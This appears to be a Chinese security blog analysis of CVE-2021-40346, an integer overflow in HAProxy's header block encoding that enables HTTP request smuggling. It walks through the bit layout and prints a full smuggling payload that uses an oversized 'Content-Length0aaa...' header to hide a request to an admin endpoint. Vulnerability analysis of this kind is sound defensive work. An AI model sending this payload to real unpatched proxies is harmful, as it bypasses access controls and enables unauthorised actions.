HAProxy走私漏洞

HAProxy走私漏洞

JFrog安全研究团队发布了一个HAProxy的严重漏洞的信息。HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。
参考文章:https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

HAProxy

  • CVE-2021-40346
  • 整数溢出漏洞
  • 小于:2.0.25、2.2.17、2.3.14 、2.4.4
  • 源码:https://github.com/haproxy/haproxy
  • 溢出点分析:https://github.com/haproxy/haproxy/blob/v2.5-dev4/include/haproxy/htx.h#L475
  • 参考文章:https://forum.butian.net/share/694
  • 危害:绕过安全控制,包括 HAProxy 中定义的任何 ACL

分析

逻辑1:取body长度

初始化body长度
https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#1113
HAProxy走私漏洞_第1张图片

这里直接取得header头的content-length的值。

逻辑2:重复的content-length被丢弃

https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#848
HAProxy走私漏洞_第2张图片

https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#75
HAProxy走私漏洞_第3张图片

逻辑3:整体请求处理块状保存

这一步是处理header头,为了得到blk->info如下结构

blk->info += (value.len << 8) + name.len;

前4位:0000 -》type
中间20位:0000 0000 0000 0000 0000 -》value (1 MB max)
后8位:0000 0000 -》key length (header/trailer - 256B max)

从空间大小来看
key的长度最多只能有8位无符号数,也就是只能表示0-255
value长度是20位无符号数,也就是0-1048575

举例

Content-Length:12

经过块状保存
去掉:并保存字符串:blk->data=Content-Length12
保存长度:blk->info=00100000000000000000001000001110
key长度:00001110=14
value长度:00000000000000000010=2
根据blk->info就能将blk->data里的key-value取出来。

溢出分析

如果key的长度超过8位,则势必也影响value的长度。
这里的逻辑是32位保存了header头,如果存在溢出,则有可能在取出块状结构体的时候和初始化的取值有差异。例如从这里取出content-length=0,但初始化取出的是60。那么最终发出来的效果就是

POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0

GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

下面就来看这块溢出如何影响取值。
payload

POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60

对于Content-Length0a...a:这个key-value,key长度是270,value长度是0
最终上面32位块结构就会变成

00100000000000000000000100001110

溢出之后效果就是代码认为,此时的
key长度是00001110=14
value长度是00000000000000000001=1
那么从这一行来看Content-Length0a...aa
14位刚好取到Content-Length
1刚好去到0
则最终解析出来就是content-length=0
哪怕再往下解析,得到content-length=60,
又因为逻辑2导致后面的content-length=60被丢弃。
逻辑1又决定了body是60。
所以就得到了这样的请求

POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0

GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

后端接收到这样的请求,因为第一个postcontent-length是0,所以认为body里面是第二个请求。

你可能感兴趣的:(云安全,安全,web安全)